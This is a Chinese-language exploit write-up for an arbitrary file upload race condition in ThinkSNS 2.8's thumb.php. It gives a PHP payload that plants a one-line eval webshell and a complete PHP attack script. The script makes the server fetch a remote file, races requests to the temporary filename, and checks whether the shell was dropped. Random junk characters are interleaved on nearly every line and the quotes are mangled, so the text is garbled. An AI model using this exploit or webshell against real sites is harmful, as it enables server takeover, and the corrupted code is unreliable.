漏洞版本
9 @$ h7 L9 n) U6 Y: B存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
8 }, h7 j+ V; W! G1 U漏洞文件
% y' z! c* A: K" |: C+ M( \; z存在漏洞的文件为:thumb.php' h: i# ~, \2 v6 |3 u
作者:韦鲲鹏: N) r& J" @) d2 D& [7 J# O
1、 准备如下PHP文件并上传到服务器(自己的)。
+ ^% ?: _5 P. S- b) c4 |文件内容如下:3 G& H' P% `/ f( A+ w* r/ O) ~
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>! P. s V/ U- `1 R: B
2、 计算出临时的文件名:' [; a: ^; j+ `) b: ^
这里我们可以看文件的99行(刚刚是不是没注意呀!)。9 _; [+ d2 ~& O# x
( v% V& m9 ]$ ^, K9 ?5 A" y+ X! U/ I
3、 上传临时文件。
$ i8 C: i- {% F5 ?$ w" ]4、 访问临时文件。
7 J m$ o; E' D7 K但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。). }2 A7 M8 B' l+ j
Exploit文件内容如下:(这个我就不详细解释了)
- M9 n% I7 i$ w" X( ~<?php, u2 l b6 u S7 `! C3 E
error_reporting(0);
0 T" R, C! Q+ g: p" ?6 b; dset_time_limit(0);
9 }# C1 E8 Z! }) r; E G& I$ E: ]ini_set(“default_socket_timeout”, 5);/ ^2 Y% S( t1 Q# d9 I
function http_send($host, $port, $headers) {
' Z3 W( x1 N: g% p' U$fp = fsockopen($host, $port);
' J7 w2 p) D! p8 ^0 `8 a- W% yif (!$fp) die(‘Connection -> fail’);# Q6 A3 L4 ~1 t' n
fputs($fp, $headers);1 j4 [! V5 X* L# p' {0 `
return $fp;
- K3 b* x4 T! ?6 l}" P/ R* R8 S! o# J4 V
function http_recv($fp) {
: t# t& f4 b- V4 B7 H( w5 ]; b$ret=”";
( q- k- a! W+ F6 u& e9 b: M* bwhile (!feof($fp))
. k& I$ K G4 g% U! ?4 _; v$ret.= fgets($fp, 1024);* H+ }" G0 G) R
fclose($fp);& ~5 M" M+ ?; `* t- _4 G5 C- b
return $ret;
5 X. V$ h* }( H% k}; q) }& p' g+ W, I) G# r! ?
print “\n# ThinkSns Arbitrary File Upload #\n”;
/ R# w4 |: J: \8 n' Y6 A1 Bprint “# Discovered by 韦鲲鹏 #\n\n”;- j7 n3 a! F1 L% F' \! x
if ($argc < 4) {
) v+ u- M s: r/ V* ^) Q; uprint “Usage: php <host> <path> <romote_url>\n”;( O% J2 I% m U' Q7 q
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* j7 ^7 K" g. Udie();: o% M0 |' w7 _! t
}
9 @2 [* F4 q! b& R$host = $argv[1];) ^( T$ j) k2 F7 ~( G( `
$path = $argv[2];
9 G8 D! H, @5 b( |& Q$url = $argv[3];2 l8 _$ r& r3 t
$i=0;; a4 {! h: g9 @3 D
//上传数据包
9 k2 ?' C' D2 ?% P( s$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" u X# H: B$ E1 ~! _, d0 G4 @$headers_up .= “Host: “.$host.”\r\n”;
; b. j7 W& d# ^+ z3 O4 v V# F$headers_up .= “Connection: close\r\n\r\n”;
- G7 n5 V/ F$ q4 ~echo $headers_up;# F6 }0 x4 o) y1 ]/ b( f
//临时文件访问数据包6 ^" ]# j K1 W2 F, P$ O0 Z
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
) w7 r- f9 `8 i. O5 s- s$headers .= “Host: “.$host.”\r\n”;
7 O% m, y) R7 F. J1 `+ C$headers .= “Connection: close\r\n\r\n”;8 K* [4 ^9 f9 N0 ~4 @$ Y/ R$ c
echo $headers;4 \2 j& C6 q% |/ \
while(++$i<10) {
! i$ n) g: ~8 t7 n# Hfclose(http_send($host, 80, $headers));
' i1 w* `* W" d1 z}
3 ~) m. ~: Y! R `( y5 h% F4 [7 k8 Lfclose(http_send($host, 80, $headers_up));( A5 i1 m* F" U" |
while(++$i<50) {
6 L9 G( N6 Z7 Z2 Y8 m; W# ]fclose(http_send($host, 80, $headers));- \' b. t0 R9 e+ h
}5 j2 b, y5 o0 ~. L2 w( R
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;0 E* b( ^7 E0 w- m H
$headers .= “Host: “.$host.”\r\n”;
: H' G) H; e' t: q$headers .= “Connection: close\r\n\r\n”;' t: Z) u! `0 C0 p! S- j
$res=http_recv(http_send($host, 80, $headers));
: j9 z1 r" X; Q" K4 J; d3 n0 N* R- c- kif(preg_match(‘/200 OK/’,$res)) {$ O9 k' r! |+ x5 \
print “Success!\n\n”;
, [, a/ F+ ~3 s7 ]" ]/ T2 O$ X7 ?} else {
5 E, }# e5 G2 Z7 p) xprint “Fail!\n\n”;3 b5 G6 g* m( Q3 U I/ w! ` J
}/ G5 G, c# M/ j* k- C8 M- v' M
?> |, h7 w% _' c4 {. e3 z. @
|